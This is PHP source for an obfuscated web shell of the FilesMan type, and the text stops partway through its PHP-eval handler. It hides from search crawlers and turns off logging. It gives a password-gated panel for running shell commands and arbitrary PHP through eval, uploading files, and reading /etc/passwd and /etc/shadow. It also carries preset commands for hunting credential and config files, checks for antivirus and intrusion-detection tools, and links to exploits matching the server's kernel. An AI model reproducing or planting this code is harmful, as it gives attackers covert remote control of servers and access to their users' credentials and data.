$wuosoplfo = "3f95b619deb30f8cc0c751a26c9e60289ef80206db0052ba811e32218fce8c58";
$katbpsofwn = "#df5";
$hxdxkxvem = 'FilesMan';
$mpaujsjunnjv = true;
$spukaez = 'UTF-8';
$bjpojrjezbj = md5($_SERVER['HTTP_USER_AGENT']);
if (empty($_POST['omou'])) {
$_POST['omou'] = $spukaez;
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . "qckpy", $bjpojrjezbj);
}
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$bnaplcsony = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $bnaplcsony) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
if (!isset($_POST['zros'])) {
if (isset($_POST['badr'])) {
$_POST['badr'] = iconv("utf-8", $_POST['omou'], kimkda($_POST['badr'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]));
}
if (isset($_POST['tlda'])) {
$_POST['tlda'] = iconv("utf-8", $_POST['omou'], kimkda($_POST['tlda'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]));
}
if (isset($_POST['rmiw'])) {
$_POST['rmiw'] = iconv("utf-8", $_POST['omou'], kimkda($_POST['rmiw'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]));
}
if (isset($_POST['tpjgri'])) {
$_POST['tpjgri'] = iconv("utf-8", $_POST['omou'], kimkda($_POST['tpjgri'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]));
}
if (isset($_POST['mnarki'])) {
$_POST['mnarki'] = iconv("utf-8", $_POST['omou'], kimkda($_POST['mnarki'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"]));
}
}
function kimkda($tbwhgnkslvwb, $ybpvhbatwh) {
$ybpvhbatwh = base64_encode($ybpvhbatwh);
$tbwhgnkslvwb = base64_decode($tbwhgnkslvwb);
$lpslxbiyc = "";
$tkpnmvl = "";
$akdbbejpogx = 0;
while ($akdbbejpogx < strlen($tbwhgnkslvwb)) {
for ($fqhbtmjg = 0; $fqhbtmjg < strlen($ybpvhbatwh); $fqhbtmjg++) {
$lpslxbiyc = chr(ord($tbwhgnkslvwb[$akdbbejpogx]) ^ ord($ybpvhbatwh[$fqhbtmjg]));
$tkpnmvl .= $lpslxbiyc;
$akdbbejpogx++;
if ($akdbbejpogx >= strlen($tbwhgnkslvwb)) {
break;
}
}
}
return base64_decode($tkpnmvl);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if (version_compare(PHP_VERSION, '5.3.0', '<')) {
@set_magic_quotes_runtime(0);
}
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
if (get_magic_quotes_gpc()) {
function vrlhjei($bigimkoljh) {
return is_array($bigimkoljh) ? array_map('vrlhjei', $bigimkoljh) : stripslashes($bigimkoljh);
}
$_POST = vrlhjei($_POST);
$_COOKIE = vrlhjei($_COOKIE);
}
}
function mavmkgh() {
die("<form method=post><input type=password name=pass><input type=submit value='>>'></form>");
}
function zalvtn($bsizjxcqjev, $pvsncdtdmweu) {
$_COOKIE[$bsizjxcqjev] = $pvsncdtdmweu;
setcookie($bsizjxcqjev, $pvsncdtdmweu);
}
if (!empty($wuosoplfo)) {
if (isset($_POST['pass']) && (hash('gost', $_POST['pass']) == $wuosoplfo)) {
zalvtn(md5($_SERVER['HTTP_HOST']), $wuosoplfo);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $wuosoplfo)) {
mavmkgh();
}
}
if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
$vbxcyrmptsfo = 'win';
} else {
$vbxcyrmptsfo = 'nix';
}
$wzktklaeamxy = @ini_get('safe_mode');
if (!$wzktklaeamxy) {
error_reporting(0);
}
$xyivrnmnwl = @ini_get('disable_functions');
$gmgmxr = @getcwd();
if (isset($_POST['tlda'])) {
@chdir($_POST['tlda']);
}
$jvszqsidkexn = @getcwd();
if ($vbxcyrmptsfo == 'win') {
$gmgmxr = str_replace("\\", "/", $gmgmxr);
$jvszqsidkexn = str_replace("\\", "/", $jvszqsidkexn);
}
if ($jvszqsidkexn[strlen($jvszqsidkexn) - 1] != '/') {
$jvszqsidkexn .= '/';
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$mpaujsjunnjv;
}
if ($vbxcyrmptsfo == 'win') {
$woeeqxef = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$woeeqxef = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function fmqpmzie() {
if (empty($_POST['omou'])) {
$_POST['omou'] = $GLOBALS['spukaez'];
}
global $katbpsofwn;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['omou'] . "'><link rel='icon' type='image/png' sizes='1x1' href='data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mOU1Hu5HQADgQHplQbXNQAAAABJRU5ErkJggg==' /><title>" . $_SERVER['HTTP_HOST'] . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $katbpsofwn !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $katbpsofwn;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $katbpsofwn; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['jvszqsidkexn']) . "';
var a_ = '" . htmlspecialchars(@$_POST['badr']) . "'
var charset_ = '" . htmlspecialchars(@$_POST['omou']) . "';
var p1_ = '" . ((strpos(@$_POST['rmiw'], "\n") !== false) ? '' : htmlspecialchars($_POST['rmiw'], ENT_QUOTES)) . "';
var p2_ = '" . ((strpos(@$_POST['tpjgri'], "\n") !== false) ? '' : htmlspecialchars($_POST['tpjgri'], ENT_QUOTES)) . "';
var p3_ = '" . ((strpos(@$_POST['mnarki'], "\n") !== false) ? '' : htmlspecialchars($_POST['mnarki'], ENT_QUOTES)) . "';
var d = document;
function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.hfcdu.badr.value=a;else d.hfcdu.badr.value=a_;
if(c!=null)d.hfcdu.tlda.value=c;else d.hfcdu.tlda.value=c_;
if(p1!=null)d.hfcdu.rmiw.value=p1;else d.hfcdu.rmiw.value=p1_;
if(p2!=null)d.hfcdu.tpjgri.value=p2;else d.hfcdu.tpjgri.value=p2_;
if(p3!=null)d.hfcdu.mnarki.value=p3;else d.hfcdu.mnarki.value=p3_;
d.hfcdu.badr.value = encrypt(d.hfcdu.badr.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"] . "');
d.hfcdu.tlda.value = encrypt(d.hfcdu.tlda.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"] . "');
d.hfcdu.rmiw.value = encrypt(d.hfcdu.rmiw.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"] . "');
d.hfcdu.tpjgri.value = encrypt(d.hfcdu.tpjgri.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"] . "');
d.hfcdu.mnarki.value = encrypt(d.hfcdu.mnarki.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "qckpy"] . "');
if(charset!=null)d.hfcdu.omou.value=charset;else d.hfcdu.omou.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.hfcdu.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'mwuyb=true';
for(i=0;i<d.hfcdu.elements.length;i++)
params += '&'+d.hfcdu.elements[i].name+'='+encodeURIComponent(d.hfcdu.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=hfcdu style='display:none;'>
<input type=hidden name=badr>
<input type=hidden name=tlda>
<input type=hidden name=rmiw>
<input type=hidden name=tpjgri>
<input type=hidden name=mnarki>
<input type=hidden name=omou>
</form>";
$wlfjckvb = function_exists('diskfreespace') ? @diskfreespace($GLOBALS['jvszqsidkexn']) : null;
$pbozrfzlpbe = function_exists('disk_total_space') ? @disk_total_space($GLOBALS['jvszqsidkexn']) : null;
$pbozrfzlpbe = $pbozrfzlpbe ? $pbozrfzlpbe : 1;
$lirqyvswcc = @php_uname('r');
$qlxtjxbx = @php_uname('s');
$zlzzujsdu = 'http://exploit-db.com/search/?action=search&filter_description=';
if (strpos('Linux', $qlxtjxbx) !== false) {
$zlzzujsdu .= urlencode('Linux Kernel ' . substr($lirqyvswcc, 0, 6));
} else {
$zlzzujsdu .= urlencode($qlxtjxbx . ' ' . substr($lirqyvswcc, 0, 3));
}
if (!function_exists('posix_getegid')) {
$waepocvzw = @get_current_user();
$jwvuzarkskqc = @getmyuid();
$ozpcos = @getmygid();
$ijztpclp = "?";
} else {
$jwvuzarkskqc = (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) ? @posix_getpwuid(posix_geteuid()) : '?';
//$jwvuzarkskqc = @posix_getpwuid(posix_geteuid());
$ozpcos = (function_exists('posix_getgrgid') && function_exists('posix_getegid')) ? @posix_getgrgid(posix_getegid()) : '?';
//$ozpcos = @posix_getgrgid(posix_getegid());
$waepocvzw = is_array($jwvuzarkskqc) ? $jwvuzarkskqc['name'] : '?';
$jwvuzarkskqc = is_array($jwvuzarkskqc) ? $jwvuzarkskqc['uid'] : '?';
$ijztpclp = is_array($ozpcos) ? $ozpcos['name'] : '?';
$ozpcos = is_array($ozpcos) ? $ozpcos['gid'] : '?';
}
$usctgv = '';
$tpfjpueuw = explode("/", $GLOBALS['jvszqsidkexn']);
$ivaauqzrry = count($tpfjpueuw);
for ($akdbbejpogx = 0; $akdbbejpogx < $ivaauqzrry - 1; $akdbbejpogx++) {
$usctgv .= "<a href='#' onclick='g(\"FilesMan\",\"";
for ($fqhbtmjg = 0; $fqhbtmjg <= $akdbbejpogx; $fqhbtmjg++) {
$usctgv .= $tpfjpueuw[$fqhbtmjg] . '/';
}
$usctgv .= "\")'>" . $tpfjpueuw[$akdbbejpogx] . "/</a>";
}
$yvdzoeqzfgmx = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$anpsdljopiee = '';
foreach ($yvdzoeqzfgmx as $ttuhzu) {
$anpsdljopiee .= '<option value="' . $ttuhzu . '" ' . ($_POST['omou'] == $ttuhzu ? 'selected' : '') . '>' . $ttuhzu . '</option>';
}
$vkvhmqnkyni = array(
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Console' => 'Console',
'Php' => 'Php',
'String tools' => 'StringTools',
'Network' => 'Network'
);
if (!empty($GLOBALS['wuosoplfo'])) {
$vkvhmqnkyni['Logout'] = 'Logout';
}
$vkvhmqnkyni['Self remove'] = 'SelfRemove';
$jywfzqblpf = '';
foreach ($vkvhmqnkyni as $bsizjxcqjev => $pvsncdtdmweu) {
$jywfzqblpf .= '<th width="' . (int)(100 / count($vkvhmqnkyni)) . '%">[ <a href="#" onclick="g(\'' . $pvsncdtdmweu . '\',null,\'\',\'\',\'\')">' . $bsizjxcqjev . '</a> ]</th>';
}
$kqhtfblrv = "";
if ($GLOBALS['vbxcyrmptsfo'] == 'win') {
foreach (range('c', 'z') as $tjqrgjgbqkv) {
if (is_dir($tjqrgjgbqkv . ':\\')) {
$kqhtfblrv .= '<a href="#" onclick="g(\'FilesMan\',\'' . $tjqrgjgbqkv . ':/\')">[ ' . $tjqrgjgbqkv . ' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['vbxcyrmptsfo'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $zlzzujsdu . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $jwvuzarkskqc . ' ( ' . $waepocvzw . ' ) <span>Group:</span> ' . $ozpcos . ' ( ' . $ijztpclp . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['wzktklaeamxy'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . ubjytqm($pbozrfzlpbe) . ' <span>Free:</span> ' . ubjytqm($wlfjckvb) . ' (' . (int)($wlfjckvb / $pbozrfzlpbe * 100) . '%)<br>' . $usctgv . ' ' . hmwcr($GLOBALS['jvszqsidkexn']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['gmgmxr'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $kqhtfblrv . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $anpsdljopiee . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $jywfzqblpf . '</tr></table><div style="margin:5">';
}
function xfqhg() {
$disoliiu = is_writable($GLOBALS['jvszqsidkexn']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['jvszqsidkexn']) . "'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$disoliiu<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$disoliiu<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=badr value='" . mzwdpxtwv('FilesMan') . "'>
<input type=hidden name=tlda value='" . mzwdpxtwv($GLOBALS['jvszqsidkexn']) . "'>
<input type=hidden name=rmiw value='" . mzwdpxtwv('uploadFile') . "'>
<input type=hidden name=omou value='" . (isset($_POST['omou']) ? mzwdpxtwv($_POST['omou']) : '') . "'>
<span>Upload file:</span>$disoliiu<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") || (strpos(ini_get('disable_functions'), 'posix_getpwuid') !== false)) {
function posix_getpwuid($togfnh) {
return false;
}
}
if (!function_exists("posix_getgrgid") || (strpos(ini_get('disable_functions'), 'posix_getgrgid') !== false)) {
function posix_getgrgid($togfnh) {
return false;
}
}
function pqmrw($kpclpowqyy) {
$ykqxendh = '';
if (function_exists('exec')) {
@exec($kpclpowqyy, $ykqxendh);
$ykqxendh = @join("\n", $ykqxendh);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($kpclpowqyy);
$ykqxendh = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($kpclpowqyy);
$ykqxendh = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$ykqxendh = shell_exec($kpclpowqyy);
} elseif (function_exists('popen') && is_resource($iudntl = @popen($kpclpowqyy, "r"))) {
$ykqxendh = "";
while (!@feof($iudntl)) {
$ykqxendh .= fread($iudntl, 1024);
}
pclose($iudntl);
}
return $ykqxendh;
}
function ubjytqm($hoyhxqm) {
if (is_int($hoyhxqm)) {
$hoyhxqm = sprintf("%u", $hoyhxqm);
}
if ($hoyhxqm >= 1073741824) {
return sprintf('%1.2f', $hoyhxqm / 1073741824) . ' GB';
} elseif ($hoyhxqm >= 1048576) {
return sprintf('%1.2f', $hoyhxqm / 1048576) . ' MB';
} elseif ($hoyhxqm >= 1024) {
return sprintf('%1.2f', $hoyhxqm / 1024) . ' KB';
} else {
return $hoyhxqm . ' B';
}
}
function xjpva($togfnh) {
if (($togfnh & 0xC000) == 0xC000) {
$akdbbejpogx = 's';
} elseif (($togfnh & 0xA000) == 0xA000) {
$akdbbejpogx = 'l';
} elseif (($togfnh & 0x8000) == 0x8000) {
$akdbbejpogx = '-';
} elseif (($togfnh & 0x6000) == 0x6000) {
$akdbbejpogx = 'b';
} elseif (($togfnh & 0x4000) == 0x4000) {
$akdbbejpogx = 'd';
} elseif (($togfnh & 0x2000) == 0x2000) {
$akdbbejpogx = 'c';
} elseif (($togfnh & 0x1000) == 0x1000) {
$akdbbejpogx = 'p';
} else {
$akdbbejpogx = 'u';
}
$akdbbejpogx .= (($togfnh & 0x0100) ? 'r' : '-');
$akdbbejpogx .= (($togfnh & 0x0080) ? 'w' : '-');
$akdbbejpogx .= (($togfnh & 0x0040) ? (($togfnh & 0x0800) ? 's' : 'x') : (($togfnh & 0x0800) ? 'S' : '-'));
$akdbbejpogx .= (($togfnh & 0x0020) ? 'r' : '-');
$akdbbejpogx .= (($togfnh & 0x0010) ? 'w' : '-');
$akdbbejpogx .= (($togfnh & 0x0008) ? (($togfnh & 0x0400) ? 's' : 'x') : (($togfnh & 0x0400) ? 'S' : '-'));
$akdbbejpogx .= (($togfnh & 0x0004) ? 'r' : '-');
$akdbbejpogx .= (($togfnh & 0x0002) ? 'w' : '-');
$akdbbejpogx .= (($togfnh & 0x0001) ? (($togfnh & 0x0200) ? 't' : 'x') : (($togfnh & 0x0200) ? 'T' : '-'));
return $akdbbejpogx;
}
function hmwcr($iudntl) {
if (!@is_readable($iudntl)) {
return '<font color=#FF0000>' . xjpva(@fileperms($iudntl)) . '</font>';
} elseif (!@is_writable($iudntl)) {
return '<font color=white>' . xjpva(@fileperms($iudntl)) . '</font>';
} else {
return '<font color=#25ff00>' . xjpva(@fileperms($iudntl)) . '</font>';
}
}
function zsjkdazet($ufxhydgvmulp) {
if (function_exists("scandir")) {
return scandir($ufxhydgvmulp);
} else {
$cexgtdoys = opendir($ufxhydgvmulp);
while (false !== ($xkavkg = readdir($cexgtdoys))) {
$klmnps[] = $xkavkg;
}
return $klmnps;
}
}
function ivhctohll($togfnh) {
$tpfjpueuw = pqmrw('which ' . $togfnh);
if (!empty($tpfjpueuw)) {
return $tpfjpueuw;
}
return false;
}
function actionSecInfo() {
fmqpmzie();
echo '<h1>Server security information</h1><div class=content>';
function vagoq($ivaauqzrry, $pvsncdtdmweu) {
$pvsncdtdmweu = trim($pvsncdtdmweu);
if ($pvsncdtdmweu) {
echo '<span>' . $ivaauqzrry . ': </span>';
if (strpos($pvsncdtdmweu, "\n") === false) {
echo $pvsncdtdmweu . '<br>';
} else {
echo '<pre class=ml1>' . $pvsncdtdmweu . '</pre>';
}
}
}
vagoq('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
vagoq('Loaded Apache modules', implode(', ', apache_get_modules()));
}
vagoq('Disabled PHP Functions', $GLOBALS['xyivrnmnwl'] ? $GLOBALS['xyivrnmnwl'] : 'none');
vagoq('Open base dir', @ini_get('open_basedir'));
vagoq('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
vagoq('Safe mode include dir', @ini_get('safe_mode_include_dir'));
vagoq('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
$sbysrgqzhh = array();
if (function_exists('mysql_get_client_info')) {
$sbysrgqzhh[] = "MySql (" . mysql_get_client_info() . ")";
}
if (function_exists('mssql_connect')) {
$sbysrgqzhh[] = "MSSQL";
}
if (function_exists('pg_connect')) {
$sbysrgqzhh[] = "PostgreSQL";
}
if (function_exists('oci_connect')) {
$sbysrgqzhh[] = "Oracle";
}
vagoq('Supported databases', implode(', ', $sbysrgqzhh));
echo '<br>';
if ($GLOBALS['vbxcyrmptsfo'] == 'nix') {
vagoq('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
vagoq('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
vagoq('OS version', @file_get_contents('/proc/version'));
vagoq('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['wzktklaeamxy']) {
$cnmufurk = array(
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl'
);
$fngwifscb = array(
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja'
);
$busajqnai = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
echo '<br>';
$sbysrgqzhh = array();
foreach ($cnmufurk as $ttuhzu) {
if (ivhctohll($ttuhzu)) {
$sbysrgqzhh[] = $ttuhzu;
}
}
vagoq('Userful', implode(', ', $sbysrgqzhh));
$sbysrgqzhh = array();
foreach ($fngwifscb as $ttuhzu) {
if (ivhctohll($ttuhzu)) {
$sbysrgqzhh[] = $ttuhzu;
}
}
vagoq('Danger', implode(', ', $sbysrgqzhh));
$sbysrgqzhh = array();
foreach ($busajqnai as $ttuhzu) {
if (ivhctohll($ttuhzu)) {
$sbysrgqzhh[] = $ttuhzu;
}
}
vagoq('Downloaders', implode(', ', $sbysrgqzhh));
echo '<br/>';
vagoq('HDD space', pqmrw('df -h'));
vagoq('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset($_POST['tpjgri'], $_POST['mnarki']) && is_numeric($_POST['tpjgri']) && is_numeric($_POST['mnarki'])) {
$sbysrgqzhh = "";
for (; $_POST['tpjgri'] <= $_POST['mnarki']; $_POST['tpjgri']++) {
$jwvuzarkskqc = @posix_getpwuid($_POST['tpjgri']);
if ($jwvuzarkskqc) {
$sbysrgqzhh .= join(':', $jwvuzarkskqc) . "\n";
}
}
echo '<br/>';
vagoq('Users', $sbysrgqzhh);
}
}
} else {
vagoq('OS Version', pqmrw('ver'));
vagoq('Account Settings', pqmrw('net accounts'));
vagoq('User Accounts', pqmrw('net user'));
}
echo '</div>';
xfqhg();
}
function actionPhp() {
if (isset($_POST['mwuyb'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['rmiw']);
$sbysrgqzhh = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
echo strlen($sbysrgqzhh), "\n", $sbysrgqzhh;
exit;
}
if (empty($_POST['mwuyb']) && !empty($_POST['rmiw'])) {
zalvtn(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
fmqpmzie();
if (isset($_POST['tpjgri']) && ($_POST['tpjgri'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$pzqbcgvvszz = ob_get_clean();
